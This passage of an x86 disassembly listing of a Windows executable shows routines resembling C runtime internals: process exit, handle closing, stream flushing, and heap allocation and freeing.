		pop	ecx
		test	eax, eax
		jnz	short loc_41E06F
		push	1Ch
		call	sub_41E11E
		pop	ecx


loc_41E06F:				; CODE XREF: .nsp0:0041E065j
		mov	[ebp-4], esi
		call	loc_42321E
		call	near ptr 0B40000h
		xchg	eax, edx
		mov	dword_4E2B84, eax
		call	sub_4230EC
		mov	dword_4E1568, eax
		call	sub_422E9F
; ---------------------------------------------------------------------------
		dd offset dword_4D50E8
		align 2
		dw 99E8h
		dd 89FFFFDDh, 458DD075h, 59E850A4h, 8200721Fh, 4CE1E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 1F36E856h, 50E40072h, 0FE3184E8h,	0A04589FFh
		dd 0DD87E850h, 458BFFFFh, 8B088BECh, 984D8909h,	1FE85150h
		dd 5900004Bh, 658BC359h, 9875FFE8h, 0FFDD79E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E0F9	proc near		; CODE XREF: sub_41D6F2+16p
					; sub_422563+4Dp ...

arg_0		= dword	ptr  4

		cmp	dword_4E1570, 1
		jnz	short loc_41E107
		call	sub_4234AC


loc_41E107:				; CODE XREF: sub_41E0F9+7j
		push	[esp+arg_0]
		call	sub_4234E5
		push	0FFh
		call	off_442550
		pop	ecx
		pop	ecx
		retn
sub_41E0F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E11E	proc near		; CODE XREF: .nsp0:0041E069p

arg_0		= dword	ptr  4

		cmp	dword_4E1570, 1
		jnz	short loc_41E12C
		call	sub_4234AC


loc_41E12C:				; CODE XREF: sub_41E11E+7j
		push	[esp+arg_0]
		call	sub_4234E5
		pop	ecx
		push	0FFh
		call	dword_427068	; ExitProcess
		retn
sub_41E11E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E142	proc near		; CODE XREF: sub_41B90B+2Ap
					; sub_423896+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4E1920
		jnb	loc_41E1DC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4E1820h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E1DC
		push	edi
		call	sub_4237BE
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E1BB
		cmp	edi, 1
		jz	short loc_41E189
		cmp	edi, 2
		jnz	short loc_41E19F


loc_41E189:				; CODE XREF: sub_41E142+40j
		push	2
		call	sub_4237BE
		push	1
		mov	ebp, eax
		call	sub_4237BE
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E1BB


loc_41E19F:				; CODE XREF: sub_41E142+45j
		push	edi
		call	sub_4237BE
		pop	ecx
		push	eax
		call	dword_42706C	; CloseHandle
		test	eax, eax
		jnz	short loc_41E1BB
		call	dword_42708C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41E1BD
; ---------------------------------------------------------------------------


loc_41E1BB:				; CODE XREF: sub_41E142+3Bj
					; sub_41E142+5Bj ...
		xor	ebp, ebp


loc_41E1BD:				; CODE XREF: sub_41E142+77j
		push	edi
		call	sub_423744
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E1D8
		push	ebp
		call	sub_420244
		pop	ecx
		jmp	short loc_41E1ED
; ---------------------------------------------------------------------------


loc_41E1D8:				; CODE XREF: sub_41E142+8Bj
		xor	eax, eax
		jmp	short loc_41E1F0
; ---------------------------------------------------------------------------


loc_41E1DC:				; CODE XREF: sub_41E142+Ej
					; sub_41E142+2Fj
		and	dword_4E14FC, 0
		mov	dword_4E14F8, 9


loc_41E1ED:				; CODE XREF: sub_41E142+94j
		or	eax, 0FFFFFFFFh


loc_41E1F0:				; CODE XREF: sub_41E142+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E142	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F5	proc near		; CODE XREF: sub_41B90B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E21E
		test	al, 8
		jz	short loc_41E21E
		push	dword ptr [esi+8]
		call	sub_41B961
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E21E:				; CODE XREF: sub_41E1F5+Aj
					; sub_41E1F5+Ej
		pop	esi
		retn
sub_41E1F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E220	proc near		; CODE XREF: sub_41E2C0+2Dp
					; sub_41E2C0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E232
		push	esi
		call	sub_41E2C0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E232:				; CODE XREF: sub_41E220+7j
		push	esi
		call	sub_41E25B
		test	eax, eax
		pop	ecx
		jz	short loc_41E242
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E242:				; CODE XREF: sub_41E220+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E257
		push	dword ptr [esi+10h]
		call	sub_4237FB
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E257:				; CODE XREF: sub_41E220+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E25B	proc near		; CODE XREF: sub_41B90B+1Ap
					; .nsp0:0041D8F4p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E2A8
		test	ax, 108h
		jz	short loc_41E2A8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E2A8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42280E
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E2A1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E2A8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E2A8
; ---------------------------------------------------------------------------


loc_41E2A1:				; CODE XREF: sub_41E25B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E2A8:				; CODE XREF: sub_41E25B+14j
					; sub_41E25B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E25B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2B7	proc near		; CODE XREF: sub_422608p
		push	1
		call	sub_41E2C0
		pop	ecx
		retn
sub_41E2B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2C0	proc near		; CODE XREF: sub_41E220+Ap
					; sub_41E2B7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4E2940, esi
		jle	short loc_41E31E


loc_41E2D1:				; CODE XREF: sub_41E2C0+5Cj
		mov	eax, dword_4E1924
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E315
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E315
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E2FB
		push	eax
		call	sub_41E220
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E315
		inc	ebx
		jmp	short loc_41E315
; ---------------------------------------------------------------------------


loc_41E2FB:				; CODE XREF: sub_41E2C0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E315
		test	cl, 2
		jz	short loc_41E315
		push	eax
		call	sub_41E220
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E315
		or	edi, eax


loc_41E315:				; CODE XREF: sub_41E2C0+1Bj
					; sub_41E2C0+23j ...
		inc	esi
		cmp	esi, dword_4E2940
		jl	short loc_41E2D1


loc_41E31E:				; CODE XREF: sub_41E2C0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E329
		mov	eax, edi


loc_41E329:				; CODE XREF: sub_41E2C0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E2C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E32D	proc near		; CODE XREF: .nsp0:0041E05Dp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4271BC	; HeapCreate
		test	eax, eax
		mov	dword_4E2B80, eax
		jz	short loc_41E362
		call	sub_41E369
		test	eax, eax
		jnz	short loc_41E365
		push	dword_4E2B80
		call	dword_4271B8	; HeapDestroy


loc_41E362:				; CODE XREF: sub_41E32D+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E365:				; CODE XREF: sub_41E32D+27j
		push	1
		pop	eax
		retn
sub_41E32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E369	proc near		; CODE XREF: sub_41E32D+20p
		push	140h
		push	0
		push	dword_4E2B80
		call	dword_427148	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4E2B7C, eax
		jnz	short loc_41E386
		retn
; ---------------------------------------------------------------------------


loc_41E386:				; CODE XREF: sub_41E369+1Aj
		and	dword_4E2B74, 0
		and	dword_4E2B78, 0
		push	1
		mov	dword_4E2B70, eax
		mov	dword_4E2B68, 10h
		pop	eax
		retn
sub_41E369	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3A7	proc near		; CODE XREF: sub_41B961+Ap
					; sub_41BA78+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4E2B78
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4E2B7C
		lea	ecx, [eax+ecx*4]


loc_41E3B7:				; CODE XREF: sub_41E3A7+26j
		cmp	eax, ecx
		jnb	short loc_41E3CF
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E3D1
		add	eax, 14h
		jmp	short loc_41E3B7
; ---------------------------------------------------------------------------


loc_41E3CF:				; CODE XREF: sub_41E3A7+12j
		xor	eax, eax

locret_41E3D1:				; CODE XREF: sub_41E3A7+21j
		retn
sub_41E3A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E3D2	proc near		; CODE XREF: sub_41B961+16p
					; sub_41BA78+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_41E498
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41E42A
		mov	[ebp+arg_4], edi


loc_41E42A:				; CODE XREF: sub_41E3D2+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_41E47C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E458
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E47C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_41E47C
; ---------------------------------------------------------------------------


loc_41E458:				; CODE XREF: sub_41E3D2+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41E47C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_41E47C:				; CODE XREF: sub_41E3D2+60j
					; sub_41E3D2+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_41E498:				; CODE XREF: sub_41E3D2+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41E4A6
		push	3Fh
		pop	edi


loc_41E4A6:				; CODE XREF: sub_41E3D2+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41E555
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41E4D1
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41E4D1:				; CODE XREF: sub_41E3D2+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41E4E3
		mov	edi, edx


loc_41E4E3:				; CODE XREF: sub_41E3D2+10Dj
		cmp	ecx, edi
		jz	short loc_41E552
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_41E53A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41E516
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E53A
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_41E53A
; ---------------------------------------------------------------------------


loc_41E516:				; CODE XREF: sub_41E3D2+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41E53A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_41E53A:				; CODE XREF: sub_41E3D2+11Ej
					; sub_41E3D2+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41E552:				; CODE XREF: sub_41E3D2+113j
		mov	edx, [ebp+var_8]


loc_41E555:				; CODE XREF: sub_41E3D2+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41E564
		cmp	[ebp+arg_4], edi
		jz	loc_41E5ED


loc_41E564:				; CODE XREF: sub_41E3D2+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E5ED
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E5C1
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E5B0
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E5B0:				; CODE XREF: sub_41E3D2+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E5EA
; ---------------------------------------------------------------------------


loc_41E5C1:				; CODE XREF: sub_41E3D2+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E5D7
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E5D7:				; CODE XREF: sub_41E3D2+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41E5EA:				; CODE XREF: sub_41E3D2+1EDj
		mov	ebx, [ebp+var_C]


loc_41E5ED:				; CODE XREF: sub_41E3D2+18Cj
					; sub_41E3D2+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41E6F8
		mov	eax, dword_4E2B74
		test	eax, eax
		jz	loc_41E6EA
		mov	ecx, dword_4E2B6C
		mov	edi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_4271C0
		mov	ecx, dword_4E2B6C
		mov	eax, dword_4E2B74
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4E2B74
		mov	ecx, dword_4E2B6C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4E2B74
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4E2B74
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E678
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4E2B74


loc_41E678:				; CODE XREF: sub_41E3D2+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E6EA
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_4271C0
		mov	eax, dword_4E2B74
		push	dword ptr [eax+10h]
		push	0
		push	dword_4E2B80
		call	dword_427144	; RtlFreeHeap
		mov	eax, dword_4E2B78
		mov	edx, dword_4E2B7C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4E2B74
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4E2B78
		cmp	eax, dword_4E2B74
		jbe	short loc_41E6DC
		sub	eax, 14h


loc_41E6DC:				; CODE XREF: sub_41E3D2+305j
		mov	ecx, dword_4E2B7C
		mov	dword_4E2B70, ecx
		jmp	short loc_41E6ED
; ---------------------------------------------------------------------------


loc_41E6EA:				; CODE XREF: sub_41E3D2+233j
					; sub_41E3D2+2AAj
		mov	eax, [ebp+arg_0]


loc_41E6ED:				; CODE XREF: sub_41E3D2+316j
		mov	dword_4E2B74, eax
		mov	dword_4E2B6C, esi


loc_41E6F8:				; CODE XREF: sub_41E3D2+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E3D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E6FD	proc near		; CODE XREF: sub_41BA78+69p
					; sub_41BC09+Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4E2B78
		mov	edx, dword_4E2B7C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E73D
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E74D
; ---------------------------------------------------------------------------


loc_41E73D:				; CODE XREF: sub_41E6FD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E74D:				; CODE XREF: sub_41E6FD+3Ej
		mov	eax, dword_4E2B70
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E774


loc_41E75B:				; CODE XREF: sub_41E6FD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E774
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E75B


loc_41E774:				; CODE XREF: sub_41E6FD+5Cj
					; sub_41E6FD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E7F2
		mov	ebx, edx


loc_41E77B:				; CODE XREF: sub_41E6FD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E797
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E795
		add	ebx, 14h
		jmp	short loc_41E77B
; ---------------------------------------------------------------------------


loc_41E795:				; CODE XREF: sub_41E6FD+91j
		cmp	ebx, eax


loc_41E797:				; CODE XREF: sub_41E6FD+83j
		jnz	short loc_41E7F2


loc_41E799:				; CODE XREF: sub_41E6FD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E7AF
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E7AC
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E799
; ---------------------------------------------------------------------------


loc_41E7AC:				; CODE XREF: sub_41E6FD+A5j
		cmp	ebx, [ebp+var_4]


loc_41E7AF:				; CODE XREF: sub_41E6FD+9Fj
		jnz	short loc_41E7D7
		mov	ebx, edx


loc_41E7B3:				; CODE XREF: sub_41E6FD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E7C7
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E7C5
		add	ebx, 14h
		jmp	short loc_41E7B3
; ---------------------------------------------------------------------------


loc_41E7C5:				; CODE XREF: sub_41E6FD+C1j
		cmp	ebx, eax


loc_41E7C7:				; CODE XREF: sub_41E6FD+BBj
		jnz	short loc_41E7D7
		call	sub_41EA06
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E7EB


loc_41E7D7:				; CODE XREF: sub_41E6FD:loc_41E7AFj
					; sub_41E6FD:loc_41E7C7j
		push	ebx
		call	sub_41EAB7
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E7F2


loc_41E7EB:				; CODE XREF: sub_41E6FD+D8j
		xor	eax, eax
		jmp	loc_41EA01
; ---------------------------------------------------------------------------


loc_41E7F2:				; CODE XREF: sub_41E6FD+7Aj
					; sub_41E6FD:loc_41E797j ...
		mov	dword_4E2B70, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E819
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E850


loc_41E819:				; CODE XREF: sub_41E6FD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E84D


loc_41E836:				; CODE XREF: sub_41E6FD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E836


loc_41E84D:				; CODE XREF: sub_41E6FD+137j
		mov	edx, [ebp+var_4]


loc_41E850:				; CODE XREF: sub_41E6FD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E879
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E879:				; CODE XREF: sub_41E6FD+16Dj
					; sub_41E6FD+183j
		test	ecx, ecx
		jl	short loc_41E882
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E879
; ---------------------------------------------------------------------------


loc_41E882:				; CODE XREF: sub_41E6FD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E89F
		push	3Fh
		pop	esi


loc_41E89F:				; CODE XREF: sub_41E6FD+19Dj
		cmp	esi, edi
		jz	loc_41E9B4
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E910
		cmp	edi, 20h
		jge	short loc_41E8DF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E90D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E910
; ---------------------------------------------------------------------------


loc_41E8DF:				; CODE XREF: sub_41E6FD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E90D
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E910
; ---------------------------------------------------------------------------


loc_41E90D:				; CODE XREF: sub_41E6FD+1D6j
					; sub_41E6FD+203j
		mov	ebx, [ebp+arg_0]


loc_41E910:				; CODE XREF: sub_41E6FD+1B0j
					; sub_41E6FD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E9C0
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E9B1
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E982
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E970
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E970:				; CODE XREF: sub_41E6FD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E9B1
; ---------------------------------------------------------------------------


loc_41E982:				; CODE XREF: sub_41E6FD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E99B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E99B:				; CODE XREF: sub_41E6FD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E9B1:				; CODE XREF: sub_41E6FD+24Ej
